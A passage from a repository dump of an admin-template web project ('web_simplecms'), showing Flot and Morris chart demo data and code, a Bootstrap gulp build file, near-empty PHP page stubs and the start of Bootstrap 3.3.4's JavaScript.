0.77370], [1169161200000, 0.77240], [1169247600000, 0.77120], [1169334000000, 0.7720], [1169420400000, 0.77210], [1169506800000, 0.77170], [1169593200000, 0.77040], [1169679600000, 0.7690], [1169766000000, 0.77110], [1169852400000, 0.7740], [1169938800000, 0.77450], [1170025200000, 0.77450], [1170111600000, 0.7740], [1170198000000, 0.77160], [1170284400000, 0.77130], [1170370800000, 0.76780], [1170457200000, 0.76880], [1170543600000, 0.77180], [1170630000000, 0.77180], [1170716400000, 0.77280], [1170802800000, 0.77290], [1170889200000, 0.76980], [1170975600000, 0.76850], [1171062000000, 0.76810], [1171148400000, 0.7690], [1171234800000, 0.7690], [1171321200000, 0.76980], [1171407600000, 0.76990], [1171494000000, 0.76510], [1171580400000, 0.76130], [1171666800000, 0.76160], [1171753200000, 0.76140], [1171839600000, 0.76140], [1171926000000, 0.76070], [1172012400000, 0.76020], [1172098800000, 0.76110], [1172185200000, 0.76220], [1172271600000, 0.76150], [1172358000000, 0.75980], [1172444400000, 0.75980], [1172530800000, 0.75920], [1172617200000, 0.75730], [1172703600000, 0.75660], [1172790000000, 0.75670], [1172876400000, 0.75910], [1172962800000, 0.75820], [1173049200000, 0.75850], [1173135600000, 0.76130], [1173222000000, 0.76310], [1173308400000, 0.76150], [1173394800000, 0.760], [1173481200000, 0.76130], [1173567600000, 0.76270], [1173654000000, 0.76270], [1173740400000, 0.76080], [1173826800000, 0.75830], [1173913200000, 0.75750], [1173999600000, 0.75620], [1174086000000, 0.7520], [1174172400000, 0.75120], [1174258800000, 0.75120], [1174345200000, 0.75170], [1174431600000, 0.7520], [1174518000000, 0.75110], [1174604400000, 0.7480], [1174690800000, 0.75090], [1174777200000, 0.75310], [1174860000000, 0.75310], [1174946400000, 0.75270], [1175032800000, 0.74980], [1175119200000, 0.74930], [1175205600000, 0.75040], [1175292000000, 0.750], [1175378400000, 0.74910], [1175464800000, 0.74910], [1175551200000, 0.74850], [1175637600000, 0.74840], [1175724000000, 0.74920], [1175810400000, 0.74710], [1175896800000, 0.74590], [1175983200000, 0.74770], [1176069600000, 0.74770], [1176156000000, 0.74830], [1176242400000, 0.74580], [1176328800000, 0.74480], [1176415200000, 0.7430], [1176501600000, 0.73990], [1176588000000, 0.73950], [1176674400000, 0.73950], [1176760800000, 0.73780], [1176847200000, 0.73820], [1176933600000, 0.73620], [1177020000000, 0.73550], [1177106400000, 0.73480], [1177192800000, 0.73610], [1177279200000, 0.73610], [1177365600000, 0.73650], [1177452000000, 0.73620], [1177538400000, 0.73310], [1177624800000, 0.73390], [1177711200000, 0.73440], [1177797600000, 0.73270], [1177884000000, 0.73270], [1177970400000, 0.73360], [1178056800000, 0.73330], [1178143200000, 0.73590], [1178229600000, 0.73590], [1178316000000, 0.73720], [1178402400000, 0.7360], [1178488800000, 0.7360], [1178575200000, 0.7350], [1178661600000, 0.73650], [1178748000000, 0.73840], [1178834400000, 0.73950], [1178920800000, 0.74130], [1179007200000, 0.73970], [1179093600000, 0.73960], [1179180000000, 0.73850], [1179266400000, 0.73780], [1179352800000, 0.73660], [1179439200000, 0.740], [1179525600000, 0.74110], [1179612000000, 0.74060], [1179698400000, 0.74050], [1179784800000, 0.74140], [1179871200000, 0.74310], [1179957600000, 0.74310], [1180044000000, 0.74380], [1180130400000, 0.74430], [1180216800000, 0.74430], [1180303200000, 0.74430], [1180389600000, 0.74340], [1180476000000, 0.74290], [1180562400000, 0.74420], [1180648800000, 0.7440], [1180735200000, 0.74390], [1180821600000, 0.74370], [1180908000000, 0.74370], [1180994400000, 0.74290], [1181080800000, 0.74030], [1181167200000, 0.73990], [1181253600000, 0.74180], [1181340000000, 0.74680], [1181426400000, 0.7480], [1181512800000, 0.7480], [1181599200000, 0.7490], [1181685600000, 0.74940], [1181772000000, 0.75220], [1181858400000, 0.75150], [1181944800000, 0.75020], [1182031200000, 0.74720], [1182117600000, 0.74720], [1182204000000, 0.74620], [1182290400000, 0.74550], [1182376800000, 0.74490], [1182463200000, 0.74670], [1182549600000, 0.74580], [1182636000000, 0.74270], [1182722400000, 0.74270], [1182808800000, 0.7430], [1182895200000, 0.74290], [1182981600000, 0.7440], [1183068000000, 0.7430], [1183154400000, 0.74220], [1183240800000, 0.73880], [1183327200000, 0.73880], [1183413600000, 0.73690], [1183500000000, 0.73450], [1183586400000, 0.73450], [1183672800000, 0.73450], [1183759200000, 0.73520], [1183845600000, 0.73410], [1183932000000, 0.73410], [1184018400000, 0.7340], [1184104800000, 0.73240], [1184191200000, 0.72720], [1184277600000, 0.72640], [1184364000000, 0.72550], [1184450400000, 0.72580], [1184536800000, 0.72580], [1184623200000, 0.72560], [1184709600000, 0.72570], [1184796000000, 0.72470], [1184882400000, 0.72430], [1184968800000, 0.72440], [1185055200000, 0.72350], [1185141600000, 0.72350], [1185228000000, 0.72350], [1185314400000, 0.72350], [1185400800000, 0.72620], [1185487200000, 0.72880], [1185573600000, 0.73010], [1185660000000, 0.73370], [1185746400000, 0.73370], [1185832800000, 0.73240], [1185919200000, 0.72970], [1186005600000, 0.73170], [1186092000000, 0.73150], [1186178400000, 0.72880], [1186264800000, 0.72630], [1186351200000, 0.72630], [1186437600000, 0.72420], [1186524000000, 0.72530], [1186610400000, 0.72640], [1186696800000, 0.7270], [1186783200000, 0.73120], [1186869600000, 0.73050], [1186956000000, 0.73050], [1187042400000, 0.73180], [1187128800000, 0.73580], [1187215200000, 0.74090], [1187301600000, 0.74540], [1187388000000, 0.74370], [1187474400000, 0.74240], [1187560800000, 0.74240], [1187647200000, 0.74150], [1187733600000, 0.74190], [1187820000000, 0.74140], [1187906400000, 0.73770], [1187992800000, 0.73550], [1188079200000, 0.73150], [1188165600000, 0.73150], [1188252000000, 0.7320], [1188338400000, 0.73320], [1188424800000, 0.73460], [1188511200000, 0.73280], [1188597600000, 0.73230], [1188684000000, 0.7340], [1188770400000, 0.7340], [1188856800000, 0.73360], [1188943200000, 0.73510], [1189029600000, 0.73460], [1189116000000, 0.73210], [1189202400000, 0.72940], [1189288800000, 0.72660], [1189375200000, 0.72660], [1189461600000, 0.72540], [1189548000000, 0.72420], [1189634400000, 0.72130], [1189720800000, 0.71970], [1189807200000, 0.72090], [1189893600000, 0.7210], [1189980000000, 0.7210], [1190066400000, 0.7210], [1190152800000, 0.72090], [1190239200000, 0.71590], [1190325600000, 0.71330], [1190412000000, 0.71050], [1190498400000, 0.70990], [1190584800000, 0.70990], [1190671200000, 0.70930], [1190757600000, 0.70930], [1190844000000, 0.70760], [1190930400000, 0.7070], [1191016800000, 0.70490], [1191103200000, 0.70120], [1191189600000, 0.70110], [1191276000000, 0.70190], [1191362400000, 0.70460], [1191448800000, 0.70630], [1191535200000, 0.70890], [1191621600000, 0.70770], [1191708000000, 0.70770], [1191794400000, 0.70770], [1191880800000, 0.70910], [1191967200000, 0.71180], [1192053600000, 0.70790], [1192140000000, 0.70530], [1192226400000, 0.7050], [1192312800000, 0.70550], [1192399200000, 0.70550], [1192485600000, 0.70450], [1192572000000, 0.70510], [1192658400000, 0.70510], [1192744800000, 0.70170], [1192831200000, 0.70], [1192917600000, 0.69950], [1193004000000, 0.69940], [1193090400000, 0.70140], [1193176800000, 0.70360], [1193263200000, 0.70210], [1193349600000, 0.70020], [1193436000000, 0.69670], [1193522400000, 0.6950], [1193612400000, 0.6950], [1193698800000, 0.69390], [1193785200000, 0.6940], [1193871600000, 0.69220], [1193958000000, 0.69190], [1194044400000, 0.69140], [1194130800000, 0.68940], [1194217200000, 0.68910], [1194303600000, 0.69040], [1194390000000, 0.6890], [1194476400000, 0.68340], [1194562800000, 0.68230], [1194649200000, 0.68070], [1194735600000, 0.68150], [1194822000000, 0.68150], [1194908400000, 0.68470], [1194994800000, 0.68590], [1195081200000, 0.68220], [1195167600000, 0.68270], [1195254000000, 0.68370], [1195340400000, 0.68230], [1195426800000, 0.68220], [1195513200000, 0.68220], [1195599600000, 0.67920], [1195686000000, 0.67460], [1195772400000, 0.67350], [1195858800000, 0.67310], [1195945200000, 0.67420], [1196031600000, 0.67440], [1196118000000, 0.67390], [1196204400000, 0.67310], [1196290800000, 0.67610], [1196377200000, 0.67610], [1196463600000, 0.67850], [1196550000000, 0.68180], [1196636400000, 0.68360], [1196722800000, 0.68230], [1196809200000, 0.68050], [1196895600000, 0.67930], [1196982000000, 0.68490], [1197068400000, 0.68330], [1197154800000, 0.68250], [1197241200000, 0.68250], [1197327600000, 0.68160], [1197414000000, 0.67990], [1197500400000, 0.68130], [1197586800000, 0.68090], [1197673200000, 0.68680], [1197759600000, 0.69330], [1197846000000, 0.69330], [1197932400000, 0.69450], [1198018800000, 0.69440], [1198105200000, 0.69460], [1198191600000, 0.69640], [1198278000000, 0.69650], [1198364400000, 0.69560], [1198450800000, 0.69560], [1198537200000, 0.6950], [1198623600000, 0.69480], [1198710000000, 0.69280], [1198796400000, 0.68870], [1198882800000, 0.68240], [1198969200000, 0.67940], [1199055600000, 0.67940], [1199142000000, 0.68030], [1199228400000, 0.68550], [1199314800000, 0.68240], [1199401200000, 0.67910], [1199487600000, 0.67830], [1199574000000, 0.67850], [1199660400000, 0.67850], [1199746800000, 0.67970], [1199833200000, 0.680], [1199919600000, 0.68030], [1200006000000, 0.68050], [1200092400000, 0.6760], [1200178800000, 0.6770], [1200265200000, 0.6770], [1200351600000, 0.67360], [1200438000000, 0.67260], [1200524400000, 0.67640], [1200610800000, 0.68210], [1200697200000, 0.68310], [1200783600000, 0.68420], [1200870000000, 0.68420], [1200956400000, 0.68870], [1201042800000, 0.69030], [1201129200000, 0.68480], [1201215600000, 0.68240], [1201302000000, 0.67880], [1201388400000, 0.68140], [1201474800000, 0.68140], [1201561200000, 0.67970], [1201647600000, 0.67690], [1201734000000, 0.67650], [1201820400000, 0.67330], [1201906800000, 0.67290], [1201993200000, 0.67580], [1202079600000, 0.67580], [1202166000000, 0.6750], [1202252400000, 0.6780], [1202338800000, 0.68330], [1202425200000, 0.68560], [1202511600000, 0.69030], [1202598000000, 0.68960], [1202684400000, 0.68960], [1202770800000, 0.68820], [1202857200000, 0.68790], [1202943600000, 0.68620], [1203030000000, 0.68520], [1203116400000, 0.68230], [1203202800000, 0.68130], [1203289200000, 0.68130], [1203375600000, 0.68220], [1203462000000, 0.68020], [1203548400000, 0.68020], [1203634800000, 0.67840], [1203721200000, 0.67480], [1203807600000, 0.67470], [1203894000000, 0.67470], [1203980400000, 0.67480], [1204066800000, 0.67330], [1204153200000, 0.6650], [1204239600000, 0.66110], [1204326000000, 0.65830], [1204412400000, 0.6590], [1204498800000, 0.6590], [1204585200000, 0.65810], [1204671600000, 0.65780], [1204758000000, 0.65740], [1204844400000, 0.65320], [1204930800000, 0.65020], [1205017200000, 0.65140], [1205103600000, 0.65140], [1205190000000, 0.65070], [1205276400000, 0.6510], [1205362800000, 0.64890], [1205449200000, 0.64240], [1205535600000, 0.64060], [1205622000000, 0.63820], [1205708400000, 0.63820], [1205794800000, 0.63410], [1205881200000, 0.63440], [1205967600000, 0.63780], [1206054000000, 0.64390], [1206140400000, 0.64780], [1206226800000, 0.64810], [1206313200000, 0.64810], [1206399600000, 0.64940], [1206486000000, 0.64380], [1206572400000, 0.63770], [1206658800000, 0.63290], [1206745200000, 0.63360], [1206831600000, 0.63330], [1206914400000, 0.63330], [1207000800000, 0.6330], [1207087200000, 0.63710], [1207173600000, 0.64030], [1207260000000, 0.63960], [1207346400000, 0.63640], [1207432800000, 0.63560], [1207519200000, 0.63560], [1207605600000, 0.63680], [1207692000000, 0.63570], [1207778400000, 0.63540], [1207864800000, 0.6320], [1207951200000, 0.63320], [1208037600000, 0.63280], [1208124000000, 0.63310], [1208210400000, 0.63420], [1208296800000, 0.63210], [1208383200000, 0.63020], [1208469600000, 0.62780], [1208556000000, 0.63080], [1208642400000, 0.63240], [1208728800000, 0.63240], [1208815200000, 0.63070], [1208901600000, 0.62770], [1208988000000, 0.62690], [1209074400000, 0.63350], [1209160800000, 0.63920], [1209247200000, 0.640], [1209333600000, 0.64010], [1209420000000, 0.63960], [1209506400000, 0.64070], [1209592800000, 0.64230], [1209679200000, 0.64290], [1209765600000, 0.64720], [1209852000000, 0.64850], [1209938400000, 0.64860], [1210024800000, 0.64670], [1210111200000, 0.64440], [1210197600000, 0.64670], [1210284000000, 0.65090], [1210370400000, 0.64780], [1210456800000, 0.64610], [1210543200000, 0.64610], [1210629600000, 0.64680], [1210716000000, 0.64490], [1210802400000, 0.6470], [1210888800000, 0.64610], [1210975200000, 0.64520], [1211061600000, 0.64220], [1211148000000, 0.64220], [1211234400000, 0.64250], [1211320800000, 0.64140], [1211407200000, 0.63660], [1211493600000, 0.63460], [1211580000000, 0.6350], [1211666400000, 0.63460], [1211752800000, 0.63460], [1211839200000, 0.63430], [1211925600000, 0.63460], [1212012000000, 0.63790], [1212098400000, 0.64160], [1212184800000, 0.64420], [1212271200000, 0.64310], [1212357600000, 0.64310], [1212444000000, 0.64350], [1212530400000, 0.6440], [1212616800000, 0.64730], [1212703200000, 0.64690], [1212789600000, 0.63860], [1212876000000, 0.63560], [1212962400000, 0.6340], [1213048800000, 0.63460], [1213135200000, 0.6430], [1213221600000, 0.64520], [1213308000000, 0.64670], [1213394400000, 0.65060], [1213480800000, 0.65040], [1213567200000, 0.65030], [1213653600000, 0.64810], [1213740000000, 0.64510], [1213826400000, 0.6450], [1213912800000, 0.64410], [1213999200000, 0.64140], [1214085600000, 0.64090], [1214172000000, 0.64090], [1214258400000, 0.64280], [1214344800000, 0.64310], [1214431200000, 0.64180], [1214517600000, 0.63710], [1214604000000, 0.63490], [1214690400000, 0.63330], [1214776800000, 0.63340], [1214863200000, 0.63380], [1214949600000, 0.63420], [1215036000000, 0.6320], [1215122400000, 0.63180], [1215208800000, 0.6370], [1215295200000, 0.63680], [1215381600000, 0.63680], [1215468000000, 0.63830], [1215554400000, 0.63710], [1215640800000, 0.63710], [1215727200000, 0.63550], [1215813600000, 0.6320], [1215900000000, 0.62770], [1215986400000, 0.62760], [1216072800000, 0.62910], [1216159200000, 0.62740], [1216245600000, 0.62930], [1216332000000, 0.63110], [1216418400000, 0.6310], [1216504800000, 0.63120], [1216591200000, 0.63120], [1216677600000, 0.63040], [1216764000000, 0.62940], [1216850400000, 0.63480], [1216936800000, 0.63780], [1217023200000, 0.63680], [1217109600000, 0.63680], [1217196000000, 0.63680], [1217282400000, 0.6360], [1217368800000, 0.6370], [1217455200000, 0.64180], [1217541600000, 0.64110], [1217628000000, 0.64350], [1217714400000, 0.64270], [1217800800000, 0.64270], [1217887200000, 0.64190], [1217973600000, 0.64460], [1218060000000, 0.64680], [1218146400000, 0.64870], [1218232800000, 0.65940], [1218319200000, 0.66660], [1218405600000, 0.66660], [1218492000000, 0.66780], [1218578400000, 0.67120], [1218664800000, 0.67050], [1218751200000, 0.67180], [1218837600000, 0.67840], [1218924000000, 0.68110], [1219010400000, 0.68110], [1219096800000, 0.67940], [1219183200000, 0.68040], [1219269600000, 0.67810], [1219356000000, 0.67560], [1219442400000, 0.67350], [1219528800000, 0.67630], [1219615200000, 0.67620], [1219701600000, 0.67770], [1219788000000, 0.68150], [1219874400000, 0.68020], [1219960800000, 0.6780], [1220047200000, 0.67960], [1220133600000, 0.68170], [1220220000000, 0.68170], [1220306400000, 0.68320], [1220392800000, 0.68770], [1220479200000, 0.69120], [1220565600000, 0.69140], [1220652000000, 0.70090], [1220738400000, 0.70120], [1220824800000, 0.7010], [1220911200000, 0.70050] ]; function euroFormatter(v, axis) { return v.toFixed(axis.tickDecimals) + "€"; } function doPlot(position) { $.plot($("#flot-line-chart-multi"), [{ data: oilprices, label: "Oil price ($)" }, { data: exchangerates, label: "USD/EUR exchange rate", yaxis: 2 }], { xaxes: [{ mode: 'time' }], yaxes: [{ min: 0 }, { // align if we are to the right alignTicksWithAxis: position == "right" ? 1 : null, position: position, tickFormatter: euroFormatter }], legend: { position: 'sw' }, grid: { hoverable: true //IMPORTANT! this is needed for tooltip to work }, tooltip: true, tooltipOpts: { content: "%s for %x was %y", xDateFormat: "%y-%0m-%0d", onHover: function(flotItem, $tooltipEl) { // console.log(flotItem, $tooltipEl); } } }); } doPlot("right"); $("button").click(function() { doPlot($(this).text()); }); }); //Flot Moving Line Chart $(function() { var container = $("#flot-line-chart-moving"); // Determine how many data points to keep based on the placeholder's initial size; // this gives us a nice high-res plot while avoiding more than one point per pixel. var maximum = container.outerWidth() / 2 || 300; // var data = []; function getRandomData() { if (data.length) { data = data.slice(1); } while (data.length < maximum) { var previous = data.length ? data[data.length - 1] : 50; var y = previous + Math.random() * 10 - 5; data.push(y < 0 ? 0 : y > 100 ? 100 : y); } // zip the generated y values with the x values var res = []; for (var i = 0; i < data.length; ++i) { res.push([i, data[i]]) } return res; } // series = [{ data: getRandomData(), lines: { fill: true } }]; // var plot = $.plot(container, series, { grid: { borderWidth: 1, minBorderMargin: 20, labelMargin: 10, backgroundColor: { colors: ["#fff", "#e4f4f4"] }, margin: { top: 8, bottom: 20, left: 20 }, markings: function(axes) { var markings = []; var xaxis = axes.xaxis; for (var x = Math.floor(xaxis.min); x < xaxis.max; x += xaxis.tickSize * 2) { markings.push({ xaxis: { from: x, to: x + xaxis.tickSize }, color: "rgba(232, 232, 255, 0.2)" }); } return markings; } }, xaxis: { tickFormatter: function() { return ""; } }, yaxis: { min: 0, max: 110 }, legend: { show: true } }); // Update the random dataset at 25FPS for a smoothly-animating chart setInterval(function updateRandom() { series[0].data = getRandomData(); plot.setData(series); plot.draw(); }, 40); }); //Flot Bar Chart $(function() { var barOptions = { series: { bars: { show: true, barWidth: 43200000 } }, xaxis: { mode: "time", timeformat: "%m/%d", minTickSize: [1, "day"] }, grid: { hoverable: true }, legend: { show: false }, tooltip: true, tooltipOpts: { content: "x: %x, y: %y" } }; var barData = { label: "bar", data: [ [1354521600000, 1000], [1355040000000, 2000], [1355223600000, 3000], [1355306400000, 4000], [1355487300000, 5000], [1355571900000, 6000] ] }; $.plot($("#flot-bar-chart"), [barData], barOptions); }); ================================================ FILE: web_simplecms/simplecms/data/morris-data.js ================================================ $(function() { Morris.Area({ element: 'morris-area-chart', data: [{ period: '2010 Q1', iphone: 2666, ipad: null, itouch: 2647 }, { period: '2010 Q2', iphone: 2778, ipad: 2294, itouch: 2441 }, { period: '2010 Q3', iphone: 4912, ipad: 1969, itouch: 2501 }, { period: '2010 Q4', iphone: 3767, ipad: 3597, itouch: 5689 }, { period: '2011 Q1', iphone: 6810, ipad: 1914, itouch: 2293 }, { period: '2011 Q2', iphone: 5670, ipad: 4293, itouch: 1881 }, { period: '2011 Q3', iphone: 4820, ipad: 3795, itouch: 1588 }, { period: '2011 Q4', iphone: 15073, ipad: 5967, itouch: 5175 }, { period: '2012 Q1', iphone: 10687, ipad: 4460, itouch: 2028 }, { period: '2012 Q2', iphone: 8432, ipad: 5713, itouch: 1791 }], xkey: 'period', ykeys: ['iphone', 'ipad', 'itouch'], labels: ['iPhone', 'iPad', 'iPod Touch'], pointSize: 2, hideHover: 'auto', resize: true }); Morris.Donut({ element: 'morris-donut-chart', data: [{ label: "Download Sales", value: 12 }, { label: "In-Store Sales", value: 30 }, { label: "Mail-Order Sales", value: 20 }], resize: true }); Morris.Bar({ element: 'morris-bar-chart', data: [{ y: '2006', a: 100, b: 90 }, { y: '2007', a: 75, b: 65 }, { y: '2008', a: 50, b: 40 }, { y: '2009', a: 75, b: 65 }, { y: '2010', a: 50, b: 40 }, { y: '2011', a: 75, b: 65 }, { y: '2012', a: 100, b: 90 }], xkey: 'y', ykeys: ['a', 'b'], labels: ['Series A', 'Series B'], hideHover: 'auto', resize: true }); }); ================================================ FILE: web_simplecms/simplecms/footer.php ================================================ ================================================ FILE: web_simplecms/simplecms/gulpfile.js ================================================ var gulp = require('gulp'); var less = require('gulp-less'); var browserSync = require('browser-sync').create(); var header = require('gulp-header'); var cleanCSS = require('gulp-clean-css'); var rename = require("gulp-rename"); var uglify = require('gulp-uglify'); var pkg = require('./package.json'); // Set the banner content var banner = ['/*!\n', ' * Start Bootstrap - <%= pkg.title %> v<%= pkg.version %> (<%= pkg.homepage %>)\n', ' * Copyright 2013-' + (new Date()).getFullYear(), ' <%= pkg.author %>\n', ' * Licensed under <%= pkg.license.type %> (<%= pkg.license.url %>)\n', ' */\n', '' ].join(''); // Compile LESS files from /less into /css gulp.task('less', function() { return gulp.src('less/sb-admin-2.less') .pipe(less()) .pipe(header(banner, { pkg: pkg })) .pipe(gulp.dest('dist/css')) .pipe(browserSync.reload({ stream: true })) }); // Minify compiled CSS gulp.task('minify-css', ['less'], function() { return gulp.src('dist/css/sb-admin-2.css') .pipe(cleanCSS({ compatibility: 'ie8' })) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest('dist/css')) .pipe(browserSync.reload({ stream: true })) }); // Copy JS to dist gulp.task('js', function() { return gulp.src(['js/sb-admin-2.js']) .pipe(header(banner, { pkg: pkg })) .pipe(gulp.dest('dist/js')) .pipe(browserSync.reload({ stream: true })) }) // Minify JS gulp.task('minify-js', ['js'], function() { return gulp.src('js/sb-admin-2.js') .pipe(uglify()) .pipe(header(banner, { pkg: pkg })) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest('dist/js')) .pipe(browserSync.reload({ stream: true })) }); // Copy vendor libraries from /bower_components into /vendor gulp.task('copy', function() { gulp.src(['bower_components/bootstrap/dist/**/*', '!**/npm.js', '!**/bootstrap-theme.*', '!**/*.map']) .pipe(gulp.dest('vendor/bootstrap')) gulp.src(['bower_components/bootstrap-social/*.css', 'bower_components/bootstrap-social/*.less', 'bower_components/bootstrap-social/*.scss']) .pipe(gulp.dest('vendor/bootstrap-social')) gulp.src(['bower_components/datatables/media/**/*']) .pipe(gulp.dest('vendor/datatables')) gulp.src(['bower_components/datatables-plugins/integration/bootstrap/3/*']) .pipe(gulp.dest('vendor/datatables-plugins')) gulp.src(['bower_components/datatables-responsive/css/*', 'bower_components/datatables-responsive/js/*']) .pipe(gulp.dest('vendor/datatables-responsive')) gulp.src(['bower_components/flot/*.js']) .pipe(gulp.dest('vendor/flot')) gulp.src(['bower_components/flot.tooltip/js/*.js']) .pipe(gulp.dest('vendor/flot-tooltip')) gulp.src(['bower_components/font-awesome/**/*', '!bower_components/font-awesome/*.json', '!bower_components/font-awesome/.*']) .pipe(gulp.dest('vendor/font-awesome')) gulp.src(['bower_components/jquery/dist/jquery.js', 'bower_components/jquery/dist/jquery.min.js']) .pipe(gulp.dest('vendor/jquery')) gulp.src(['bower_components/metisMenu/dist/*']) .pipe(gulp.dest('vendor/metisMenu')) gulp.src(['bower_components/morrisjs/*.js', 'bower_components/morrisjs/*.css', '!bower_components/morrisjs/Gruntfile.js']) .pipe(gulp.dest('vendor/morrisjs')) gulp.src(['bower_components/raphael/raphael.js', 'bower_components/raphael/raphael.min.js']) .pipe(gulp.dest('vendor/raphael')) }) // Run everything gulp.task('default', ['minify-css', 'minify-js', 'copy']); // Configure the browserSync task gulp.task('browserSync', function() { browserSync.init({ server: { baseDir: '' }, }) }) // Dev task with browserSync gulp.task('dev', ['browserSync', 'less', 'minify-css', 'js', 'minify-js'], function() { gulp.watch('less/*.less', ['less']); gulp.watch('dist/css/*.css', ['minify-css']); gulp.watch('js/*.js', ['minify-js']); // Reloads the browser whenever HTML or JS files change gulp.watch('pages/*.html', browserSync.reload); gulp.watch('dist/js/*.js', browserSync.reload); }); ================================================ FILE: web_simplecms/simplecms/header.php ================================================ Home
      ================================================ FILE: web_simplecms/simplecms/index.php ================================================
      Collect from 网站模板
      ================================================ FILE: web_simplecms/simplecms/js/bootstrap.js ================================================ /*! * Bootstrap v3.3.4 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery') } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.') if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher') } }(jQuery); /* ======================================================================== * Bootstrap: transition.js v3.3.4 * http://getbootstrap.com/javascript/#transitions * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) // ============================================================ function transitionEnd() { var el = document.createElement('bootstrap') var transEndEventNames = { WebkitTransition : 'webkitTransitionEnd', MozTransition : 'transitionend', OTransition : 'oTransitionEnd otransitionend', transition : 'transitionend' } for (var name in transEndEventNames) { if (el.style[name] !== undefined) { return { end: transEndEventNames[name] } } } return false // explicit for ie8 ( ._.) } // http://blog.alexmaccaw.com/css-transitions $.fn.emulateTransitionEnd = function (duration) { var called = false var $el = this $(this).one('bsTransitionEnd', function () { called = true }) var callback = function () { if (!called) $($el).trigger($.support.transition.end) } setTimeout(callback, duration) return this } $(function () { $.support.transition = transitionEnd() if (!$.support.transition) return $.event.special.bsTransitionEnd = { bindType: $.support.transition.end, delegateType: $.support.transition.end, handle: function (e) { if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) } } }) }(jQuery); /* ======================================================================== * Bootstrap: alert.js v3.3.4 * http://getbootstrap.com/javascript/#alerts * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // ALERT CLASS DEFINITION // ====================== var dismiss = '[data-dismiss="alert"]' var Alert = function (el) { $(el).on('click', dismiss, this.close) } Alert.VERSION = '3.3.4' Alert.TRANSITION_DURATION = 150 Alert.prototype.close = function (e) { var $this = $(this) var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = $(selector) if (e) e.preventDefault() if (!$parent.length) { $parent = $this.closest('.alert') } $parent.trigger(e = $.Event('close.bs.alert')) if (e.isDefaultPrevented()) return $parent.removeClass('in') function removeElement() { // detach from parent, fire event then clean up data $parent.detach().trigger('closed.bs.alert').remove() } $.support.transition && $parent.hasClass('fade') ? $parent .one('bsTransitionEnd', removeElement) .emulateTransitionEnd(Alert.TRANSITION_DURATION) : removeElement() } // ALERT PLUGIN DEFINITION // ======================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.alert') if (!data) $this.data('bs.alert', (data = new Alert(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.alert $.fn.alert = Plugin $.fn.alert.Constructor = Alert // ALERT NO CONFLICT // ================= $.fn.alert.noConflict = function () { $.fn.alert = old return this } // ALERT DATA-API // ============== $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) }(jQuery); /* ======================================================================== * Bootstrap: button.js v3.3.4 * http://getbootstrap.com/javascript/#buttons * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // BUTTON PUBLIC CLASS DEFINITION // ============================== var Button = function (element, options) { this.$element = $(element) this.options = $.extend({}, Button.DEFAULTS, options) this.isLoading = false } Button.VERSION = '3.3.4' Button.DEFAULTS = { loadingText: 'loading...' } Button.prototype.setState = function (state) { var d = 'disabled' var $el = this.$element var val = $el.is('input') ? 'val' : 'html' var data = $el.data() state = state + 'Text' if (data.resetText == null) $el.data('resetText', $el[val]()) // push to event loop to allow forms to submit setTimeout($.proxy(function () { $el[val](data[state] == null ? this.options[state] : data[state]) if (state == 'loadingText') { this.isLoading = true $el.addClass(d).attr(d, d) } else if (this.isLoading) { this.isLoading = false $el.removeClass(d).removeAttr(d) } }, this), 0) } Button.prototype.toggle = function () { var changed = true var $parent = this.$element.closest('[data-toggle="buttons"]') if ($parent.length) { var $input = this.$element.find('input') if ($input.prop('type') == 'radio') { if ($input.prop('checked') && this.$element.hasClass('active')) changed = false else $parent.find('.active').removeClass('active') } if (changed) $input.prop('checked', !this.$element.hasClass('active')).trigger('change') } else { this.$element.attr('aria-pressed', !this.$element.hasClass('active')) } if (changed) this.$element.toggleClass('active') } // BUTTON PLUGIN DEFINITION // ======================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.button') var options = typeof option == 'object' && option if (!data) $this.data('bs.button', (data = new Button(this, options))) if (option == 'toggle') data.toggle() else if (option) data.setState(option) }) } var old = $.fn.button $.fn.button = Plugin $.fn.button.Constructor = Button // BUTTON NO CONFLICT // ================== $.fn.button.noConflict = function () { $.fn.button = old return this } // BUTTON DATA-API // =============== $(document) .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) { var $btn = $(e.target) if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn') Plugin.call($btn, 'toggle') e.preventDefault() }) .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) { $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type)) }) }(jQuery); /* ======================================================================== * Bootstrap: carousel.js v3.3.4 * http://getbootstrap.com/javascript/#carousel * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CAROUSEL CLASS DEFINITION // ========================= var Carousel = function (element, options) { this.$element = $(element) this.$indicators = this.$element.find('.carousel-indicators') this.options = options this.paused = null this.sliding = null this.interval = null this.$active = null this.$items = null this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this)) this.options.pause == 'hover' && !('ontouchstart' 